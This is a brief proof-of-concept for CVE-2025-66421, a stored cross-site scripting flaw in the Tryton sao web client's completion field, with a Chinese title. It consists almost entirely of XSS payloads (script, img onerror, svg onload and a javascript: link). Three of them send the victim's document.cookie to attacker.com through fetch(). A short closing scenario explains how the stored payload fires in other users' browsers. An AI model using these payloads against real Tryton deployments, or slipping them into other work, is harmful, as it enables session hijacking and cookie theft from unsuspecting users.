CVE-2025-66421 Tryton sao XSS跨站脚本漏洞

<!-- Stored XSS PoC for CVE-2025-66421 --> <!-- Tryton sao completion field XSS --> <!-- Method 1: Using script tag --> <script>alert(document.cookie)</script> <!-- Method 2: Using event handler --> <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <!-- Method 3: Using SVG --> <svg onload="fetch('https://attacker.com/log?data='+btoa(document.cookie))"> <!-- Method 4: Using anchor with javascript: --> <a href="javascript:fetch('https://attacker.com/exec?cmd='+document.cookie)">Click me</a> <!-- Exploitation scenario: --> <!-- 1. Attacker submits malicious payload in any field that uses completion --> <!-- 2. Payload is stored in Tryton database --> <!-- 3. When other users trigger completion, payload executes in their browser -->